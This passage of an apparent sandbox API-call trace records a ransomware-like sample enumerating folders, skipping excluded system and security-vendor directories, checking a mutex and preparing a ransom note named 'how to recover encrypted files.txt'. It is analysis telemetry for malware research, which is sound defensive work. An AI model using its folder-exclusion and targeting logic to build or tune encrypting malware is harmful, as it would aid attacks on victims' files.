lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0046.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0046.118] GetLastError () returned 0x2 [0046.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0046.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0046.119] GetLastError () returned 0x2 [0046.119] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0046.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@븄R企@\x18?T\x18\x88")) returned 0xffffffff [0046.119] GetLastError () returned 0x2 [0046.119] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0046.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.120] GetLastError () returned 0x2 [0046.120] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0046.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0046.120] GetLastError () returned 0x2 [0046.120] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0046.120] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.120] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.120] GlobalUnlock (hMem=0x44000c) returned 0 [0046.120] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.120] GlobalLock (hMem=0x440004) returned 0x553188 [0046.120] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.121] GlobalUnlock (hMem=0x44000c) returned 0 [0046.121] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.121] GlobalUnlock (hMem=0x440004) returned 0 [0046.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.121] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.121] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.121] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.121] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.122] GlobalLock (hMem=0x440004) returned 0x551178 [0046.122] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.122] GlobalUnlock (hMem=0x440004) returned 0 [0046.122] GlobalLock (hMem=0x440004) returned 0x551178 [0046.122] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.122] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.122] GlobalUnlock (hMem=0x440004) returned 0 [0046.122] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.122] GlobalUnlock (hMem=0x44000c) returned 0 [0046.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.124] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.124] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.124] GlobalUnlock (hMem=0x44000c) returned 0 [0046.124] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.124] GlobalLock (hMem=0x440004) returned 0x553188 [0046.124] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.124] GlobalUnlock (hMem=0x44000c) returned 0 [0046.124] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.124] GlobalUnlock (hMem=0x440004) returned 0 [0046.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.124] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.124] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.124] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.124] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.124] GlobalLock (hMem=0x440004) returned 0x552180 [0046.124] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.124] GlobalUnlock (hMem=0x440004) returned 0 [0046.124] GlobalLock (hMem=0x440004) returned 0x552180 [0046.124] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.124] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.125] GlobalUnlock (hMem=0x440004) returned 0 [0046.125] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.125] GlobalUnlock (hMem=0x44000c) returned 0 [0046.125] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.125] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0046.125] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\fi-FI\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.126] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.126] GetLastError () returned 0x12 [0046.126] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.126] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.126] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.126] GlobalUnlock (hMem=0x44000c) returned 0 [0046.126] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.126] GlobalLock (hMem=0x440004) returned 0x553188 [0046.126] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.126] GlobalUnlock (hMem=0x44000c) returned 0 [0046.126] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.126] GlobalUnlock (hMem=0x440004) returned 0 [0046.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d58, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.126] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.126] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, 